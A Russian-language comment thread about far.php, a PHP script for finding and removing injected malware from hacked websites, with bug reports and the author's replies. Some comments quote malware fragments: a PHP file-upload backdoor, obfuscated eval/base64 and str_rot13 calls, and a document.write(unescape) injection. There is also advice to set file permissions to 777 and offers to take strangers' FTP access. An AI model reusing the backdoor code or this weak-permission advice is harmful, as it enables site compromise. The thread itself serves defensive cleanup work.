• Это может быть если у владельца far.php нет прав на изменение файлов на сервере. Посмотрите кто является владельцем файлов сайта и сделайте владельцем far.php его-же, прлюс можно включить отображение ошибок php и все сами увидите.
  • Исправил все необходимое локально. Очень полезная программа, спасибо!
  • ставил, не помогло. Пришлось выкачивать сайт. На локальном сервере все успешно заменилось. Не пойму в чем может быть дело. Исправить нужно еще 5 сайтов, выкачивать что ли все также?
  • скорее всего проблема в правах на запись, поставьте 755 или 777
  • Делаю поиск и замена искомого текста, происходит операция но ничего не заменяется. Как быть? Нужный чекбокс поставил. Возможно нужно права папке выставить?
  • Спасибо огромное !
  • Вот полный код, но поиск работает только если его частично ввести(начиная с @$strings(str_rot13('riny и до nT8tWTyvqwg9" как пример), как бы его целиком удалить
  • Можно ли просканить корневую дирректорию хостинга, т.е ту директорию, где папки сайтов лежат?
  • Спасибо! При следующей проверке файлов, попробую. Если что отпишусь.
  • попробуйте эту версию http://secu.ru/far.zip
  • 1.5 версия после замены меняет кодировку файлов с UTF8 на WIN1251. Как исправить что бы этого больше не повторялось?
  • Что значит не вышло? Какое сообщение получаете? Что в логах сервера в момент замены?
  • У меня такая ситуация: на хостинге 15 сайтов, все заражены, примерно по 80 файлов в каждом, я с десяток файлов проверил - везде одинаковый код, но может так повезло:), Скрипт по небольшой фразе находит, все отлично, по полному коду - нет, я не разбираюсь в регулярных выражениях, пробовал по примеру - не вышло, может кто сможет подсказать по быстрому в скайпе, очень надо. Вот мой скайп portall.com.ua
  • если сайт на локальном сервере то notepad++ безусловно лучше)
  • нафига он нужен? notepad++ куда лучше и быстрее справляется
  • new
    скажите из-за чего может быть такое что не производит замену в файле пишет нет совпадений хотя они точно есть и скрипт на другом сайте тоже самое поменял )?
  • Здравствуйте! Обращаюсь к создателю данного чуда, при создании следующей версии не могли бы вы сделать не одну, а две кнопки (найти и заменить) я был бы очень благодарен, ну наверно и не только я один!
  • попробуйте эту версию http://secu.ru/far.zip
  • Здравствуйте, произвожу поиск и замену в html файлах. Кодировка charset=windows-1251. При удачной замене, сайт весь в "кракозябрах". Я так понимаю файлы сохраняются в другой кодировке. Как исправить?
  • нет, не трудно. но вы так просто спрашиваете такие вещи...
  • если не трудно дайте фтп доступ, разберусь bordyzhan@gmail.com
  • Ошибка HTTP 500 Странно, но Microsoft Edge не может найти эту страницу
  • Если искать что-то наподобие - class=alert-message всё отлично. Если это - Минимальная сумма заказа, то белая стр.
  • Здравствуйте. У меня почему то белая страница. По окончанию поиска
  • попробовал у себя, редиректа нет, и как это может быть тоже не представляю, пробуйте через другой браузер
  • При обычном поиске по такому коду: ';echo '';if($_POST['golden']=="Done"){if(@copy($_FILES['file']['tmp_name'],$_FILES['file']['name'])){echo'+';}else{echo'-';}}} // Silence is golden. редиректит в адресной строке на: data:,
  • Спасибо, подожду следующую версию. В одной папке >100к файлов)
  • в следующей версии скрипта это будет решено, пока можно по одной папке обрабатывать, т.е. выбирать в окне Директория
  • А как быть с длительной операцией и временем выполнения пхп скрипта на сервере? В общем не все файлы успевает перелопатить
  • Все ок, спасибо ;)
  • Все бы хорошо, но файлы с кодировкой win-1251 перекодировал в UTF-8 при замене( Опцию выбора кодировки конечного файла бы...
  • Прекрасная работа. Спасибо!
  • re test
  • сделаю
  • пожалуйста)
  • Сергей, спасибо за скрипт, ты даже не представляешь как твой скрипт спас меня :-) шеф заказал чистку сайта - а у меня никакого варианта не было в голове, пока не пришло в голову поискать в инете. Сначало нашел буржуйск. скрипты, только потом твой. Кстати твой с наворотами (экранировать), на остальных еще надо править руками, что то добавлять ... Спасибо !!!
  • Интересно, как дыра в вашем сайте относится к скрипту?
  • Сергей, спасибо вам за скрипт. Выручает )) моя проблема в том что скрипт вырезает вредоносный код но он постоянно появляется снова. Подскажите как вырезать его под корень
  • если можете дайте фтп доступ, посмотрю в чем дело, пишите на bordyzhan@gmail.com
  • был белый экран и больше ничего, все попробовала - пароли верные, это сам скрипт слетает
  • а что пишет, или просто белый экран? может пароль поменяли в файле?
  • у меня не работает, полгода назад все нормально было. Подскажите пожалуйста, в чем может быть дело?
  • понял, исправлю
  • понял, исправлю
  • Версию оценил, понравилась :) По проблеме, она не исчезла. Во общем суть в чем, скрипт подходит для разных целей и очень полезен. Допустим я хочу найти фразу в файлах "Проверка" и заменить на "Не проверка". Фразу найдет, все укажет, если поставить замену на автомате все сделает четко. Везде заменилось без проблем в кодировке. Но если я решил открыть выборочно один файл и изменить в ручную в встроенном редакторе скрипта, то при сохранении скрипт пишет файл в кодировку UTF, хотя стояла на сервере в WINDOWS-1251. Уже проверял несколько раз переписывал ставил WINDOWS-1251, найти - изменить - и файл уже в UTF и соответственно ошибки. Это именно при ручном редактировании через скрипт возникает, в автоматическом режиме все норм.
  • попробуйте эту версию http://secu.ru/far.zip
  • Скрипт очень полезный, но сохраняет у меня файлы "криво", кодировку меняет на UTF-8 походу и получаем "абракадабру" после изменений. В самом редакторе все красиво страница скрипта, все норм. Менял уже везде в скрипте "UTF-8" на "windows-1251" и добавлял "header('Content-Type: text/html; charset=windows-1251');" - ничего не помогает, при сохранении изменений получаем ошибки в кодировке.
  • в этом и ошибка. если "процессе чтения произойдёт ошибка, к примеру кириллица в имени папки, то есть вероятность что возвратит null " while (($file = null) !== false) { этот цикл когда нить завершится? Добавьте проверку, $dir открылся без ошибок или нет
  • ну так я и использую !== false т.е. "Преобразование типов не происходит при использовании === или !== так как в этом случае кроме самих значений сравниваются еще и типы."
  • Я вновь тут. Я имел ввиду "Эта функция может возвращать как boolean FALSE, так и не-boolean значение, которое приводится к FALSE. " А в коде $dir = opendir($dirname); while (($file = readdir($dir)) !== false) { Папка не проверяется на доступность. Если в процессе чтения произойдёт ошибка, к примеру кириллица в имени папки, то есть вероятность что возвратит null и цикл уйдёт в бесконечность.
  • Получилось! Все оккей! Правда , если вводишь свой пароль, опять та же хрень. Скажите. файл .htaccess потом после работы опять поменять надо?
  • скачайте еще раз скрипт, ничего в нем не редактируйте и добавьте в файл .htaccess строку AddDefaultCharset UTF-8
  • Все сделал. Добавил. До этого она была пуста. Однако ничего не изменилось.
  • попробуйте в 12 строке добавить header('Content-Type: text/html; charset=utf-8');
  • Установил все по инструкции, правда в XAMPP, и в окне проги вместо менюшных слов - одни знаки вопроса "?" В чем дело?
  • пока не вижу, что там такого страшного? ткните носом)
  • Автор, почитай http://php.net/manual/ru/function.readdir.php , особенно часть про то, что может возвращать функция readdir в случае ошибки. Ничего страшного не видишь?
  • http://secu.ru/far.zip
  • в новой версии исправил, если есть желание протестировать, могу прислать на почту
  • Так я нажимаю на кнопку скачать и у меня 404
  • скрипт скачивается только при нажатии на кнопку, постоянного URL нет
  • Битый урл, скрипт не скачивается.
  • У меня сайт в windows-1251 и это портит файлы при замене. Сохраняет их в utf-8. Сейчас сам перепишу для себя. Но вы это учтите пожалуйста в будущих версиях. Слежу за обновлениями ;) Перевести огромный проект в utf-8 моя мечта... но 4 гб файлов нереально перевести в utf-8. такое вот наследство...
  • проверил, у меня все ищет, может у вас в поле "Не искать в файлах" указан tpl, или папки с файлами tpl запрещены для чтения, или не так вводите фразу для поиска
  • .tpl не сканирует у DLE
  • Большое спасибо! Помогло найти вирусы на сайте!
  • Огромное спасибо
  • Круто! Интеллект!
  • Отличнейший скрипт, пользуюсь им уже больше года, без него просто никуда. Однако в 1-ой версии не хватало очень много функционала и эллементарной красоты, собирался сам дорабатывать, а вы это уже сделали за меня :) Есть несколько пожелания, которые я осуществил у себя и хотелось бы видеть у вас в будущем: 1) Необходима проверка на размер файла, так как часто если файл больше 50мб, то выпадает в ошибку.. 2) Частенько необходим поиск по названию файла 3) Сворачивать форму при нажатии кнопки "Искать\Замена" что бы был виден результат поиска 4) Редактирование файла открывать в модальном окне, а не в новой форме p.s. Если нужна будет помощь в доработке, обращайтесь, обязательно помогу. Информация о себе: http://gaalferov.com/about-me.html
  • так и не исправили? До сих пор проблемы с кодировкой.
  • можно, если только в шаблоне
  • Сам zip файл скачивается. кнопка работает.
  • Я правильно понимаю, с помощью этого скрипта можно удалить следы шаблона joomla в исходном коде с помощью замены слов joomla и названия шаблона на любые иные имена, с сохранением работоспособности сайта? Спасибо.
  • Закачал после многократного нажатия на кнопку.
  • После нажатия на "Скачать (версия 1.4)" - 404 Исправьте, пожалуйста.
  • ссылки на скрипт нет, он скачиваться при нажатии на кнопку
  • Что-то не удается его скачать никак, ссылка ошибку 404 отдает!
  • 410011118020069
  • Огромное спасибо за скрипт. Вылечил за несколько минут 7 сайтов. Осталось найти бэкдор... Оставьте свой яндекс-кошелёк, обязательно помогу копейкой :)
  • исправьте, пожалуйста, очень нужно, чтобы кодировка не менялась.
  • спасибо) может кому интересно будет, вообщем если получилась неправильное отображение, как у меня в комментарии выше, то просто вставьте в файл htaccess строки: AddDefaultCharset UTF-8 DefaultLanguage ru-RU
  • Скрипт очень классный. Но есть большая проблемма. Если искать и заменять строчки в html файлах с кодировкой windows1251, то он меняет кодировку русских символов на utf8. Исправьте пожалуйста!
  • Я так поняла, активные ссылки он не может найти, только текст?
  • Спасибо! хорошая штука
  • Добрый день! Подскажите пожалуйста, что-то не совсем пойму как искать правильно. Перечитал мануал не один раз. Например, мне нужно найти и удалить код текста вида: eval(base64_decode("...")); Как его правильно искать?
  • Добрый день! Отличный скрипт, случайно наткнулся на одном форуме.... Поправьте страницу "Donations", она не работает.... Увидел в комментах Ваш яндекс счет, перевел немного на развитие проекта:-) ОЧЕНЬ УЖ ОН У ВАС ПОЛЕЗНЫЙ:-)
  • Здрвствуйте, я не могу скачать файл по ссылке http://secu.ru/download/far/7668416, ошибка помогите пожалуйста
  • Пришлите мне на почту sergey@cmsdev.org код который заменяете кошельки для donate (потом где-то на сайте размещу): WebMoney U138702920271 R192256315354 Z272730060230 Яндекс.Деньги 410011118020069
  • Сергей пользуюсь вашим скриптом и сервисом онлайн поиска, он единственный находит где именно проблема с моим сайтом. Но после замены всех зараженных файлов eval(base_64 decode ) сайт выдает ошибку 500. Даже не знаю как поступить... Начал вручную переносить все сайты заново так как на этом хостинге более 5 сайтов и все заражены... Ещё, укажите на сайте кошельки для donate, как я понял проект не коммерческий а значит такие начинания надо поддержать! Не миллионами но я думаю не только я бы поддержал проект.
  • исправлено в версии 1.4
  • исправлено в версии 1.4
  • Отличная утилитка. Очень помогла. Спс. Отписался на joomlaforum.ru по этому поводу
  • в файле usr\local\php5\php.ini увеличьте значение memory_limit, после этого перезагрузите денвер
  • Здравствуйте! Подскажите как подправить : Fatal error: Allowed memory size of 268435456 bytes exhausted (tried to allocate 236522286 bytes) in R:\home\site\www\far.php on line 77 Joomla 1.5/Денвер. Спасибо.
  • на счет 500 ошибки - ищите по отдельным папкам, на счет кодировок, файл не может иметь две кодировки, покажите пример iframe который не находит, также пользуйтесь регулярными выражениями, сомнительные символы или строки заменяйте на маску
  • Все сайты сканирует норм, но на одном из сайтов ОШИБКА 500. С чем это может быть связано? .htaccess? Удаляю, ставлю пустым, все равно ошибка... /разобрался, был превышен лимит памяти. Нашел еще одну проблему. При сканировании файлов на предмет вставок вирусы могут добавлять вредоносный код в иных кодировках. К примеру кодировка файлов в UTF-8, а вставки I-fraimе в Koi-8 в результате поиск не выдает такие вставки и все приходится снова делать вручную.
  • Привет! Отличный скрипт, если удастся им воспользоваться, поможет очень сильно. У меня та же проблема, не ищет по выражению ;document\.write\(unescape.*?;eval\(lI1\(I11\(OOO\)\)\); При этом куски ;document\.write\(unescape и ;eval\(lI1\(I11\(OOO\)\)\); ищет прекрасно. Не подскажете, в чем проблема или хотя бы что гуглить?
  • не подходит, а вот то что хочу убрать (код удален)
  • Начало скрипта: ;document.write(unescape Конец скрипта: ;eval(lI1(I11(OOO))); Какое регулярное выражение использовать для замены всего вредоносного скрипта на "пустое поле"?
  • Спасибо! Хорошая вещь!
  • Да, я ним и распаковывал. странно. Вчера выдавало ошибку. Сегодня распаковка прошла удачно. Сейчас будем пробовать ))
  • У меня, после скачивания на компьютер, не получается его распаковать. Пишет: "неподдерживаемый метод сжатия для FAR.php"
  • Спасибо! Без меня решили проблему :)
  • А у меня не получилось:)) Fatal error: Call to undefined function mb_check_encoding() in ..../far.php on line 155
  • Спасибо! Реально помогло почистить по месту сайт. С этими копированиями туда-сюда полдня просидел бестолку.
  • Спасибо Сергей! Отличнейший скрипт, быстро нашёл требуемое в >2500 файлах. Очень порадовала скорость работы и возможность править конкретный файл. Буду рекомендовать знакомым.
  • ага, попробовал, ищет.
  • Работала один день, на второй работать перестала. А программа реально полезная.
  • Спасибо!!! - реально помогла начинающему!!!!
  • Огромный респект разработчикам!!!!! За пол часа скрипт в режиме "по каждой папке в корне" нашел вредоносный js-скрипт на Joomla 2.5 -сайте. Спасибо!!!!!!!!!!